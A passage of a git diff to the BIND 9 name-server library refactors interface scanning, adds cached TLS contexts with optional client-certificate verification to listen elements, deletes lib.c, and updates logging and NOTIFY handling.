+					      ISC_LOG_ERROR,
+					      "listening on all IPv6 "
+					      "interfaces failed");
 			}
+			/* Continue. */
 		}
 	}
 
@@ -994,25 +1104,24 @@ do_scan(ns_interfacemgr_t *mgr, ns_listenlist_t *ext_listen, bool verbose) {
 		return (result);
 	}
 
-	if (!adjusting) {
-		result = clearacl(mgr->mctx, &mgr->aclenv->localhost);
-		if (result != ISC_R_SUCCESS) {
-			goto cleanup_iter;
-		}
-		result = clearacl(mgr->mctx, &mgr->aclenv->localnets);
-		if (result != ISC_R_SUCCESS) {
-			goto cleanup_iter;
-		}
-		clearlistenon(mgr);
+	result = dns_acl_create(mgr->mctx, 0, &localhost);
+	if (result != ISC_R_SUCCESS) {
+		goto cleanup_iter;
+	}
+	result = dns_acl_create(mgr->mctx, 0, &localnets);
+	if (result != ISC_R_SUCCESS) {
+		goto cleanup_localhost;
 	}
 
+	clearlistenon(mgr);
+
 	tried_listening = false;
 	all_addresses_in_use = true;
 	for (result = isc_interfaceiter_first(iter); result == ISC_R_SUCCESS;
 	     result = isc_interfaceiter_next(iter))
 	{
 		isc_interface_t interface;
-		ns_listenlist_t *ll;
+		ns_listenlist_t *ll = NULL;
 		unsigned int family;
 
 		result = isc_interfaceiter_current(iter, &interface);
@@ -1039,70 +1148,61 @@ do_scan(ns_interfacemgr_t *mgr, ns_listenlist_t *ext_listen, bool verbose) {
 		 * a temporary media glitch at rescan time.
 		 */
 		if (family == AF_INET &&
-		    isc_netaddr_equal(&interface.address, &zero_address)) {
+		    isc_netaddr_equal(&interface.address, &zero_address))
+		{
 			continue;
 		}
 		if (family == AF_INET6 &&
-		    isc_netaddr_equal(&interface.address, &zero_address6)) {
+		    isc_netaddr_equal(&interface.address, &zero_address6))
+		{
 			continue;
 		}
 
-		if (!adjusting) {
-			/*
-			 * If running with -T fixedlocal, then we only
-			 * want 127.0.0.1 and ::1 in the localhost ACL.
-			 */
-			if (((mgr->sctx->options & NS_SERVER_FIXEDLOCAL) !=
-			     0) &&
-			    !isc_netaddr_isloopback(&interface.address))
-			{
-				goto listenon;
-			}
+		/*
+		 * If running with -T fixedlocal, then we only
+		 * want 127.0.0.1 and ::1 in the localhost ACL.
+		 */
+		if (((mgr->sctx->options & NS_SERVER_FIXEDLOCAL) != 0) &&
+		    !isc_netaddr_isloopback(&interface.address))
+		{
+			goto listenon;
+		}
 
-			result = setup_locals(mgr, &interface);
-			if (result != ISC_R_SUCCESS) {
-				goto ignore_interface;
-			}
+		result = setup_locals(&interface, localhost, localnets);
+		if (result != ISC_R_SUCCESS) {
+			goto ignore_interface;
 		}
 
 	listenon:
 		ll = (family == AF_INET) ? mgr->listenon4 : mgr->listenon6;
 		dolistenon = true;
 		for (le = ISC_LIST_HEAD(ll->elts); le != NULL;
-		     le = ISC_LIST_NEXT(le, link)) {
+		     le = ISC_LIST_NEXT(le, link))
+		{
 			int match;
+			bool addr_in_use = false;
 			bool ipv6_wildcard = false;
-			isc_netaddr_t listen_netaddr;
 			isc_sockaddr_t listen_sockaddr;
 
-			/*
-			 * Construct a socket address for this IP/port
-			 * combination.
-			 */
-			if (family == AF_INET) {
-				isc_netaddr_fromin(&listen_netaddr,
-						   &interface.address.type.in);
-			} else {
-				isc_netaddr_fromin6(
-					&listen_netaddr,
-					&interface.address.type.in6);
-				isc_netaddr_setzone(&listen_netaddr,
-						    interface.address.zone);
-			}
 			isc_sockaddr_fromnetaddr(&listen_sockaddr,
-						 &listen_netaddr, le->port);
+						 &interface.address, le->port);
 
 			/*
 			 * See if the address matches the listen-on statement;
-			 * if not, ignore the interface.
+			 * if not, ignore the interface, but store it in
+			 * the interface table so we know we've seen it
+			 * before.
 			 */
-			(void)dns_acl_match(&listen_netaddr, NULL, le->acl,
+			(void)dns_acl_match(&interface.address, NULL, le->acl,
 					    mgr->aclenv, &match, NULL);
 			if (match <= 0) {
+				ns_interface_t *new = NULL;
+				ns_interface_create(mgr, &listen_sockaddr,
+						    interface.name, &new);
 				continue;
 			}
 
-			if (!adjusting && dolistenon) {
+			if (dolistenon) {
 				setup_listenon(mgr, &interface, le->port);
 				dolistenon = false;
 			}
@@ -1112,111 +1212,65 @@ do_scan(ns_interfacemgr_t *mgr, ns_listenlist_t *ext_listen, bool verbose) {
 			 * special considerations later, so remember it.
 			 */
 			if (family == AF_INET6 && ipv6only && ipv6pktinfo &&
-			    listenon_is_ip6_any(le)) {
+			    listenon_is_ip6_any(le))
+			{
 				ipv6_wildcard = true;
 			}
 
-			/*
-			 * When adjusting interfaces with extra a listening
-			 * list, see if the address matches the extra list.
-			 * If it does, and is also covered by a wildcard
-			 * interface, we need to listen on the address
-			 * explicitly.
-			 */
-			if (adjusting) {
-				ns_listenelt_t *ele;
-
-				match = 0;
-				for (ele = ISC_LIST_HEAD(ext_listen->elts);
-				     ele != NULL;
-				     ele = ISC_LIST_NEXT(ele, link))
-				{
-					(void)dns_acl_match(&listen_netaddr,
-							    NULL, ele->acl,
-							    NULL, &match, NULL);
-					if (match > 0 &&
-					    (ele->port == le->port ||
-					     ele->port == 0)) {
-						break;
-					} else {
-						match = 0;
+			ifp = find_matching_interface(mgr, &listen_sockaddr);
+			if (ifp != NULL) {
+				ifp->generation = mgr->generation;
+				if (LISTENING(ifp)) {
+					if (config) {
+						update_listener_configuration(
+							mgr, ifp, le);
 					}
-				}
-				if (ipv6_wildcard && match == 0) {
 					continue;
 				}
 			}
 
-			ifp = find_matching_interface(mgr, &listen_sockaddr);
-			if (ifp != NULL) {
-				ifp->generation = mgr->generation;
-				if (le->dscp != -1 && ifp->dscp == -1) {
-					ifp->dscp = le->dscp;
-				} else if (le->dscp != ifp->dscp) {
-					isc_sockaddr_format(&listen_sockaddr,
-							    sabuf,
-							    sizeof(sabuf));
-					isc_log_write(IFMGR_COMMON_LOGARGS,
-						      ISC_LOG_WARNING,
-						      "%s: conflicting DSCP "
-						      "values, using %d",
-						      sabuf, ifp->dscp);
-				}
-			} else {
-				bool addr_in_use = false;
+			if (ipv6_wildcard) {
+				continue;
+			}
 
-				if (!adjusting && ipv6_wildcard) {
-					continue;
-				}
+			if (log_explicit && family == AF_INET6 &&
+			    listenon_is_ip6_any(le))
+			{
+				isc_log_write(IFMGR_COMMON_LOGARGS,
+					      verbose ? ISC_LOG_INFO
+						      : ISC_LOG_DEBUG(1),
+					      "IPv6 socket API is "
+					      "incomplete; explicitly "
+					      "binding to each IPv6 "
+					      "address separately");
+				log_explicit = false;
+			}
+			isc_sockaddr_format(&listen_sockaddr, sabuf,
+					    sizeof(sabuf));
+			isc_log_write(IFMGR_COMMON_LOGARGS, ISC_LOG_INFO,
+				      "listening on %s interface "
+				      "%s, %s",
+				      (family == AF_INET) ? "IPv4" : "IPv6",
+				      interface.name, sabuf);
+
+			result = interface_setup(mgr, &listen_sockaddr,
+						 interface.name, &ifp, le,
+						 &addr_in_use);
+
+			tried_listening = true;
+			if (!addr_in_use) {
+				all_addresses_in_use = false;
+			}
 
-				if (log_explicit && family == AF_INET6 &&
-				    !adjusting && listenon_is_ip6_any(le)) {
-					isc_log_write(
-						IFMGR_COMMON_LOGARGS,
-						verbose ? ISC_LOG_INFO
-							: ISC_LOG_DEBUG(1),
-						"IPv6 socket API is "
-						"incomplete; explicitly "
-						"binding to each IPv6 "
-						"address separately");
-					log_explicit = false;
-				}
-				isc_sockaddr_format(&listen_sockaddr, sabuf,
-						    sizeof(sabuf));
+			if (result != ISC_R_SUCCESS) {
 				isc_log_write(
-					IFMGR_COMMON_LOGARGS, ISC_LOG_INFO,
-					"%s"
-					"listening on %s interface "
-					"%s, %s",
-					(adjusting) ? "additionally " : "",
+					IFMGR_COMMON_LOGARGS, ISC_LOG_ERROR,
+					"creating %s interface "
+					"%s failed; interface ignored",
 					(family == AF_INET) ? "IPv4" : "IPv6",
-					interface.name, sabuf);
-
-				result = ns_interface_setup(
-					mgr, &listen_sockaddr, interface.name,
-					&ifp, (adjusting) ? false : true, le,
-					&addr_in_use);
-
-				tried_listening = true;
-				if (!addr_in_use) {
-					all_addresses_in_use = false;
-				}
-
-				if (result != ISC_R_SUCCESS) {
-					isc_log_write(IFMGR_COMMON_LOGARGS,
-						      ISC_LOG_ERROR,
-						      "creating %s interface "
-						      "%s failed; interface "
-						      "ignored",
-						      (family == AF_INET) ? "IP"
-									    "v4"
-									  : "IP"
-									    "v"
-									    "6",
-						      interface.name);
-				}
-				/* Continue. */
+					interface.name);
 			}
+			/* Continue. */
 		}
 		continue;
 
@@ -1228,30 +1282,38 @@ do_scan(ns_interfacemgr_t *mgr, ns_listenlist_t *ext_listen, bool verbose) {
 		continue;
 	}
 	if (result != ISC_R_NOMORE) {
-		UNEXPECTED_ERROR(__FILE__, __LINE__,
-				 "interface iteration failed: %s",
+		UNEXPECTED_ERROR("interface iteration failed: %s",
 				 isc_result_totext(result));
 	} else {
 		result = ((tried_listening && all_addresses_in_use)
 				  ? ISC_R_ADDRINUSE
 				  : ISC_R_SUCCESS);
 	}
+
+	dns_aclenv_set(mgr->aclenv, localhost, localnets);
+
+	/* cleanup_localnets: */
+	dns_acl_detach(&localnets);
+
+cleanup_localhost:
+	dns_acl_detach(&localhost);
+
 cleanup_iter:
 	isc_interfaceiter_destroy(&iter);
 	return (result);
 }
 
-static isc_result_t
-ns_interfacemgr_scan0(ns_interfacemgr_t *mgr, ns_listenlist_t *ext_listen,
-		      bool verbose) {
+isc_result_t
+ns_interfacemgr_scan(ns_interfacemgr_t *mgr, bool verbose, bool config) {
 	isc_result_t result;
 	bool purge = true;
 
 	REQUIRE(NS_INTERFACEMGR_VALID(mgr));
+	REQUIRE(isc_tid() == 0);
 
 	mgr->generation++; /* Increment the generation count. */
 
-	result = do_scan(mgr, ext_listen, verbose);
+	result = do_scan(mgr, verbose, config);
 	if ((result != ISC_R_SUCCESS) && (result != ISC_R_ADDRINUSE)) {
 		purge = false;
 	}
@@ -1269,7 +1331,7 @@ ns_interfacemgr_scan0(ns_interfacemgr_t *mgr, ns_listenlist_t *ext_listen,
 	/*
 	 * Warn if we are not listening on any interface.
 	 */
-	if (ext_listen == NULL && ISC_LIST_EMPTY(mgr->interfaces)) {
+	if (ISC_LIST_EMPTY(mgr->interfaces)) {
 		isc_log_write(IFMGR_COMMON_LOGARGS, ISC_LOG_WARNING,
 			      "not listening on any interfaces");
 	}
@@ -1277,43 +1339,6 @@ ns_interfacemgr_scan0(ns_interfacemgr_t *mgr, ns_listenlist_t *ext_listen,
 	return (result);
 }
 
-bool
-ns_interfacemgr_islistening(ns_interfacemgr_t *mgr) {
-	REQUIRE(NS_INTERFACEMGR_VALID(mgr));
-
-	return (ISC_LIST_EMPTY(mgr->interfaces) ? false : true);
-}
-
-isc_result_t
-ns_interfacemgr_scan(ns_interfacemgr_t *mgr, bool verbose) {
-	isc_result_t result;
-	bool unlock = false;
-
-	/*
-	 * Check for success because we may already be task-exclusive
-	 * at this point.  Only if we succeed at obtaining an exclusive
-	 * lock now will we need to relinquish it later.
-	 */
-	result = isc_task_beginexclusive(mgr->excl);
-	if (result == ISC_R_SUCCESS) {
-		unlock = true;
-	}
-
-	result = ns_interfacemgr_scan0(mgr, NULL, verbose);
-
-	if (unlock) {
-		isc_task_endexclusive(mgr->excl);
-	}
-
-	return (result);
-}
-
-isc_result_t
-ns_interfacemgr_adjust(ns_interfacemgr_t *mgr, ns_listenlist_t *list,
-		       bool verbose) {
-	return (ns_interfacemgr_scan0(mgr, list, verbose));
-}
-
 void
 ns_interfacemgr_setlistenon4(ns_interfacemgr_t *mgr, ns_listenlist_t *value) {
 	REQUIRE(NS_INTERFACEMGR_VALID(mgr));
@@ -1339,7 +1364,7 @@ ns_interfacemgr_dumprecursing(FILE *f, ns_interfacemgr_t *mgr) {
 	REQUIRE(NS_INTERFACEMGR_VALID(mgr));
 
 	LOCK(&mgr->lock);
-	for (size_t i = 0; i < (size_t)mgr->ncpus; i++) {
+	for (size_t i = 0; i < mgr->ncpus; i++) {
 		ns_client_dumprecursing(f, mgr->clientmgrs[i]);
 	}
 	UNLOCK(&mgr->lock);
@@ -1380,32 +1405,27 @@ ns_interfacemgr_getserver(ns_interfacemgr_t *mgr) {
 	return (mgr->sctx);
 }
 
-ns_interface_t *
-ns__interfacemgr_getif(ns_interfacemgr_t *mgr) {
-	ns_interface_t *head;
-	REQUIRE(NS_INTERFACEMGR_VALID(mgr));
-	LOCK(&mgr->lock);
-	head = ISC_LIST_HEAD(mgr->interfaces);
-	UNLOCK(&mgr->lock);
-	return (head);
-}
-
-ns_interface_t *
-ns__interfacemgr_nextif(ns_interface_t *ifp) {
-	ns_interface_t *next;
-	LOCK(&ifp->lock);
-	next = ISC_LIST_NEXT(ifp, link);
-	UNLOCK(&ifp->lock);
-	return (next);
-}
-
 ns_clientmgr_t *
 ns_interfacemgr_getclientmgr(ns_interfacemgr_t *mgr) {
-	int tid = isc_nm_tid();
+	int tid = isc_tid();
 
 	REQUIRE(NS_INTERFACEMGR_VALID(mgr));
 	REQUIRE(tid >= 0);
-	REQUIRE(tid < mgr->ncpus);
+	REQUIRE((uint32_t)tid < mgr->ncpus);
 
 	return (mgr->clientmgrs[tid]);
 }
+
+bool
+ns_interfacemgr_dynamic_updates_are_reliable(void) {
+#if defined(LINUX_NETLINK_AVAILABLE)
+	/*
+	 * Let's disable periodic interface rescans on Linux, as there a
+	 * reliable kernel-based mechanism for tracking interface state
+	 * changes is available.
+	 */
+	return (true);
+#else
+	return (false);
+#endif /* LINUX_NETLINK_AVAILABLE */
+}
diff --git a/lib/ns/lib.c b/lib/ns/lib.c
deleted file mode 100644
index c40bffeadc..0000000000
--- a/lib/ns/lib.c
+++ /dev/null
@@ -1,84 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-/*! \file */
-
-#include <stdbool.h>
-#include <stddef.h>
-
-#include <isc/mem.h>
-#include <isc/mutex.h>
-#include <isc/once.h>
-#include <isc/refcount.h>
-#include <isc/util.h>
-
-#include <dns/name.h>
-
-#include <ns/lib.h>
-
-/***
- *** Globals
- ***/
-
-LIBNS_EXTERNAL_DATA unsigned int ns_pps = 0U;
-
-/***
- *** Private
- ***/
-
-static isc_once_t init_once = ISC_ONCE_INIT;
-static isc_mem_t *ns_g_mctx = NULL;
-static bool initialize_done = false;
-static isc_refcount_t references;
-
-static void
-initialize(void) {
-	REQUIRE(!initialize_done);
-
-	isc_mem_create(&ns_g_mctx);
-
-	isc_refcount_init(&references, 0);
-	initialize_done = true;
-	return;
-}
-
-isc_result_t
-ns_lib_init(void) {
-	isc_result_t result;
-
-	/*
-	 * Since this routine is expected to be used by a normal application,
-	 * it should be better to return an error, instead of an emergency
-	 * abort, on any failure.
-	 */
-	result = isc_once_do(&init_once, initialize);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
-
-	if (!initialize_done) {
-		return (ISC_R_FAILURE);
-	}
-
-	isc_refcount_increment0(&references);
-
-	return (ISC_R_SUCCESS);
-}
-
-void
-ns_lib_shutdown(void) {
-	if (isc_refcount_decrement(&references) == 1) {
-		isc_refcount_destroy(&references);
-		if (ns_g_mctx != NULL) {
-			isc_mem_detach(&ns_g_mctx);
-		}
-	}
-}
diff --git a/lib/ns/listenlist.c b/lib/ns/listenlist.c
index 2d88c8654f..a4a7c2b2e4 100644
--- a/lib/ns/listenlist.c
+++ b/lib/ns/listenlist.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -20,24 +22,158 @@
 #include <dns/acl.h>
 
 #include <ns/listenlist.h>
+#include <ns/log.h>
 
 static void
 destroy(ns_listenlist_t *list);
 
-isc_result_t
-ns_listenelt_create(isc_mem_t *mctx, in_port_t port, isc_dscp_t dscp,
-		    dns_acl_t *acl, bool tls, const char *key, const char *cert,
-		    ns_listenelt_t **target) {
+static isc_result_t
+listenelt_create(isc_mem_t *mctx, in_port_t port, dns_acl_t *acl,
+		 const uint16_t family, const bool is_http, bool tls,
+		 const ns_listen_tls_params_t *tls_params,
+		 isc_tlsctx_cache_t *tlsctx_cache, ns_listenelt_t **target) {
 	ns_listenelt_t *elt = NULL;
 	isc_result_t result = ISC_R_SUCCESS;
 	isc_tlsctx_t *sslctx = NULL;
+	isc_tls_cert_store_t *store = NULL, *found_store = NULL;
 
 	REQUIRE(target != NULL && *target == NULL);
+	REQUIRE(!tls || (tls_params != NULL && tlsctx_cache != NULL));
 
 	if (tls) {
-		result = isc_tlsctx_createserver(key, cert, &sslctx);
+		const isc_tlsctx_cache_transport_t transport =
+			is_http ? isc_tlsctx_cache_https : isc_tlsctx_cache_tls;
+
+		/*
+		 * Let's try to reuse the existing context from the cache in
+		 * order to avoid excessive TLS contexts creation.
+		 */
+		result = isc_tlsctx_cache_find(tlsctx_cache, tls_params->name,
+					       transport, family, &sslctx,
+					       &found_store, NULL);
 		if (result != ISC_R_SUCCESS) {
-			return (result);
+			/*
+			 * The lookup failed, let's try to create a new context
+			 * and store it within the cache.
+			 */
+			INSIST(tls_params->name != NULL &&
+			       *tls_params->name != '\0');
+
+			result = isc_tlsctx_createserver(
+				tls_params->key, tls_params->cert, &sslctx);
+			if (result != ISC_R_SUCCESS) {
+				goto tls_error;
+			}
+
+			/*
+			 * We need to initialise session ID context to make TLS
+			 * session resumption work correctly - in particular in
+			 * the case when client certificates are used (Mutual
+			 * TLS) - otherwise resumption attempts will lead to
+			 * handshake failures. See OpenSSL documentation for
+			 * 'SSL_CTX_set_session_id_context()', the "Warnings"
+			 * section.
+			 */
+			isc_tlsctx_set_random_session_id_context(sslctx);
+
+			/*
+			 * If CA-bundle file is specified - enable client
+			 * certificates validation.
+			 */
+			if (tls_params->ca_file != NULL) {
+				if (found_store == NULL) {
+					result = isc_tls_cert_store_create(
+						tls_params->ca_file, &store);
+					if (result != ISC_R_SUCCESS) {
+						goto tls_error;
+					}
+				} else {
+					store = found_store;
+				}
+
+				result = isc_tlsctx_enable_peer_verification(
+					sslctx, true, store, NULL, false);
+				if (result != ISC_R_SUCCESS) {
+					goto tls_error;
+				}
+
+				/*
+				 * Load the list of allowed client certificate
+				 * issuers to send to TLS clients.
+				 */
+				result = isc_tlsctx_load_client_ca_names(
+					sslctx, tls_params->ca_file);
+				if (result != ISC_R_SUCCESS) {
+					goto tls_error;
+				}
+			}
+
+			if (tls_params->protocols != 0) {
+				isc_tlsctx_set_protocols(sslctx,
+							 tls_params->protocols);
+			}
+
+			if (tls_params->dhparam_file != NULL) {
+				if (!isc_tlsctx_load_dhparams(
+					    sslctx, tls_params->dhparam_file))
+				{
+					isc_log_write(ns_lctx,
+						      NS_LOGCATEGORY_GENERAL,
+						      NS_LOGMODULE_INTERFACEMGR,
+						      ISC_LOG_ERROR,
+						      "loading of dhparam-file "
+						      "'%s' failed",
+						      tls_params->dhparam_file);
+					result = ISC_R_FAILURE;
+					goto tls_error;
+				}
+			}
+
+			if (tls_params->ciphers != NULL) {
+				isc_tlsctx_set_cipherlist(sslctx,
+							  tls_params->ciphers);
+			}
+
+			if (tls_params->prefer_server_ciphers_set) {
+				isc_tlsctx_prefer_server_ciphers(
+					sslctx,
+					tls_params->prefer_server_ciphers);
+			}
+
+			if (tls_params->session_tickets_set) {
+				isc_tlsctx_session_tickets(
+					sslctx, tls_params->session_tickets);
+			}
+
+#ifdef HAVE_LIBNGHTTP2
+			if (is_http) {
+				isc_tlsctx_enable_http2server_alpn(sslctx);
+			}
+#endif /* HAVE_LIBNGHTTP2 */
+
+			if (!is_http) {
+				isc_tlsctx_enable_dot_server_alpn(sslctx);
+			}
+
+			/*
+			 * The storing in the cache should not fail because the
+			 * (re)initialisation happens from within a single
+			 * thread.
+			 *
+			 * Taking into account that the most recent call to
+			 * 'isc_tlsctx_cache_find()' has failed, it means that
+			 * the TLS context has not been found. Considering that
+			 * the initialisation happens from within the context of
+			 * a single thread, the call to 'isc_tlsctx_cache_add()'
+			 * is expected not to fail.
+			 */
+			RUNTIME_CHECK(isc_tlsctx_cache_add(
+					      tlsctx_cache, tls_params->name,
+					      transport, family, sslctx, store,
+					      NULL, NULL, NULL,
+					      NULL) == ISC_R_SUCCESS);
+		} else {
+			INSIST(sslctx != NULL);
 		}
 	}
 
@@ -46,33 +182,67 @@ ns_listenelt_create(isc_mem_t *mctx, in_port_t port, isc_dscp_t dscp,
 	ISC_LINK_INIT(elt, link);
 	elt->port = port;
 	elt->is_http = false;
-	elt->dscp = dscp;
 	elt->acl = acl;
 	elt->sslctx = sslctx;
+	elt->sslctx_cache = NULL;
+	if (sslctx != NULL && tlsctx_cache != NULL) {
+		isc_tlsctx_cache_attach(tlsctx_cache, &elt->sslctx_cache);
+	}
 	elt->http_endpoints = NULL;
 	elt->http_endpoints_number = 0;
+	elt->http_max_clients = 0;
+	elt->max_concurrent_streams = 0;
 
 	*target = elt;
 	return (ISC_R_SUCCESS);
+tls_error:
+	if (sslctx != NULL) {
+		isc_tlsctx_free(&sslctx);
+	}
+
+	if (store != NULL && store != found_store) {
+		isc_tls_cert_store_free(&store);
+	}
+	return (result);
+}
+
+isc_result_t
+ns_listenelt_create(isc_mem_t *mctx, in_port_t port, dns_acl_t *acl,
+		    const uint16_t family, bool tls,
+		    const ns_listen_tls_params_t *tls_params,
+		    isc_tlsctx_cache_t *tlsctx_cache, ns_listenelt_t **target) {
+	return listenelt_create(mctx, port, acl, family, false, tls, tls_params,
+				tlsctx_cache, target);
 }
 
 isc_result_t
-ns_listenelt_create_http(isc_mem_t *mctx, in_port_t http_port, isc_dscp_t dscp,
-			 dns_acl_t *acl, bool tls, const char *key,
-			 const char *cert, char **endpoints, size_t nendpoints,
-			 ns_listenelt_t **target) {
+ns_listenelt_create_http(isc_mem_t *mctx, in_port_t http_port, dns_acl_t *acl,
+			 const uint16_t family, bool tls,
+			 const ns_listen_tls_params_t *tls_params,
+			 isc_tlsctx_cache_t *tlsctx_cache, char **endpoints,
+			 size_t nendpoints, const uint32_t max_clients,
+			 const uint32_t max_streams, ns_listenelt_t **target) {
 	isc_result_t result;
 
 	REQUIRE(target != NULL && *target == NULL);
 	REQUIRE(endpoints != NULL && *endpoints != NULL);
 	REQUIRE(nendpoints > 0);
 
-	result = ns_listenelt_create(mctx, http_port, dscp, acl, tls, key, cert,
-				     target);
+	result = listenelt_create(mctx, http_port, acl, family, true, tls,
+				  tls_params, tlsctx_cache, target);
 	if (result == ISC_R_SUCCESS) {
 		(*target)->is_http = true;
 		(*target)->http_endpoints = endpoints;
 		(*target)->http_endpoints_number = nendpoints;
+		/*
+		 * 0 sized quota - means unlimited quota. We used to not
+		 * create a quota object in such a case, but we might need to
+		 * update the value of the quota during reconfiguration, so we
+		 * need to have a quota object in place anyway.
+		 */
+		(*target)->http_max_clients = max_clients == 0 ? UINT32_MAX
+							       : max_clients;
+		(*target)->max_concurrent_streams = max_streams;
 	} else {
 		size_t i;
 		for (i = 0; i < nendpoints; i++) {
@@ -88,8 +258,11 @@ ns_listenelt_destroy(ns_listenelt_t *elt) {
 	if (elt->acl != NULL) {
 		dns_acl_detach(&elt->acl);
 	}
-	if (elt->sslctx != NULL) {
-		isc_tlsctx_free(&elt->sslctx);
+
+	elt->sslctx = NULL; /* this one is going to be destroyed alongside the
+			       sslctx_cache */
+	if (elt->sslctx_cache != NULL) {
+		isc_tlsctx_cache_detach(&elt->sslctx_cache);
 	}
 	if (elt->http_endpoints != NULL) {
 		size_t i;
@@ -143,8 +316,8 @@ ns_listenlist_detach(ns_listenlist_t **listp) {
 }
 
 isc_result_t
-ns_listenlist_default(isc_mem_t *mctx, in_port_t port, isc_dscp_t dscp,
-		      bool enabled, ns_listenlist_t **target) {
+ns_listenlist_default(isc_mem_t *mctx, in_port_t port, bool enabled,
+		      const uint16_t family, ns_listenlist_t **target) {
 	isc_result_t result;
 	dns_acl_t *acl = NULL;
 	ns_listenelt_t *elt = NULL;
@@ -160,7 +333,7 @@ ns_listenlist_default(isc_mem_t *mctx, in_port_t port, isc_dscp_t dscp,
 		goto cleanup;
 	}
 
-	result = ns_listenelt_create(mctx, port, dscp, acl, false, NULL, NULL,
+	result = ns_listenelt_create(mctx, port, acl, family, false, NULL, NULL,
 				     &elt);
 	if (result != ISC_R_SUCCESS) {
 		goto cleanup_acl;
diff --git a/lib/ns/log.c b/lib/ns/log.c
index d0f8d1e1b4..4a7ff20d02 100644
--- a/lib/ns/log.c
+++ b/lib/ns/log.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -24,29 +26,27 @@
  * When adding a new category, be sure to add the appropriate
  * \#define to <ns/log.h>
  */
-LIBNS_EXTERNAL_DATA isc_logcategory_t ns_categories[] = {
-	{ "client", 0 },
-	{ "network", 0 },
-	{ "update", 0 },
-	{ "queries", 0 },
-	{ "update-security", 0 },
-	{ "query-errors", 0 },
-	{ "trust-anchor-telemetry", 0 },
-	{ "serve-stale", 0 },
-	{ NULL, 0 }
-};
+isc_logcategory_t ns_categories[] = { { "client", 0 },
+				      { "network", 0 },
+				      { "update", 0 },
+				      { "queries", 0 },
+				      { "update-security", 0 },
+				      { "query-errors", 0 },
+				      { "trust-anchor-telemetry", 0 },
+				      { "serve-stale", 0 },
+				      { NULL, 0 } };
 
 /*%
  * When adding a new module, be sure to add the appropriate
  * \#define to <ns/log.h>.
  */
-LIBNS_EXTERNAL_DATA isc_logmodule_t ns_modules[] = {
+isc_logmodule_t ns_modules[] = {
 	{ "ns/client", 0 }, { "ns/query", 0 },	 { "ns/interfacemgr", 0 },
 	{ "ns/update", 0 }, { "ns/xfer-in", 0 }, { "ns/xfer-out", 0 },
 	{ "ns/notify", 0 }, { "ns/hooks", 0 },	 { NULL, 0 }
 };
 
-LIBNS_EXTERNAL_DATA isc_log_t *ns_lctx = NULL;
+isc_log_t *ns_lctx = NULL;
 
 void
 ns_log_init(isc_log_t *lctx) {
diff --git a/lib/ns/notify.c b/lib/ns/notify.c
index f7f7d00e73..f2ae6e5f84 100644
--- a/lib/ns/notify.c
+++ b/lib/ns/notify.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -10,7 +12,7 @@
  */
 
 #include <isc/log.h>
-#include <isc/print.h>
+#include <isc/result.h>
 
 #include <dns/message.h>
 #include <dns/rdataset.h>
@@ -127,7 +129,7 @@ ns_notify_start(ns_client_t *client, isc_nmhandle_t *handle) {
 
 	tsigkey = dns_message_gettsigkey(request);
 	if (tsigkey != NULL) {
-		dns_name_format(&tsigkey->name, namebuf, sizeof(namebuf));
+		dns_name_format(tsigkey->name, namebuf, sizeof(namebuf));
 
 		if (tsigkey->generated) {
 			char cnamebuf[DNS_NAME_FORMATSIZE];
@@ -144,12 +146,13 @@ ns_notify_start(ns_client_t *client, isc_nmhandle_t *handle) {
 	}
 
 	dns_name_format(zonename, namebuf, sizeof(namebuf));
-	result = dns_zt_find(client->view->zonetable, zonename, 0, NULL, &zone);
+	result = dns_view_findzone(client->view, zonename, DNS_ZTFIND_EXACT,
+				   &zone);
 	if (result == ISC_R_SUCCESS) {
 		dns_zonetype_t zonetype = dns_zone_gettype(zone);
 
-		if ((zonetype == dns_zone_master) ||
-		    (zonetype == dns_zone_slave) ||
+		if ((zonetype == dns_zone_primary) ||
+		    (zonetype == dns_zone_secondary) ||
 		    (zonetype == dns_zone_mirror) ||
 		    (zonetype == dns_zone_stub))
 		{
@@ -164,10 +167,10 @@ ns_notify_start(ns_client_t *client, isc_nmhandle_t *handle) {
 		}
 	}
 
-	notify_log(client, ISC_LOG_NOTICE,
-		   "received notify for zone '%s'%s: not authoritative",
-		   namebuf, tsigbuf);
 	result = DNS_R_NOTAUTH;
+	notify_log(client, ISC_LOG_NOTICE,
+		   "received notify for zone '%s'%s: %s", namebuf, tsigbuf,
+		   isc_result_totext(result));
 
 done:
 	if (zone != NULL) {
diff --git a/lib/ns/probes.d b/lib/ns/probes.d
new file mode 100644
index 0000000000..fccb6185cb
--- /dev/null
+++ b/lib/ns/probes.d
@@ -0,0 +1,16 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+provider libns {
+	probe rrl_drop(const char *, const char *, const char *, int);
+};
diff --git a/lib/ns/query.c b/lib/ns/query.c
index 7d84ddacac..fdad387a87 100644
--- a/lib/ns/query.c
+++ b/lib/ns/query.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
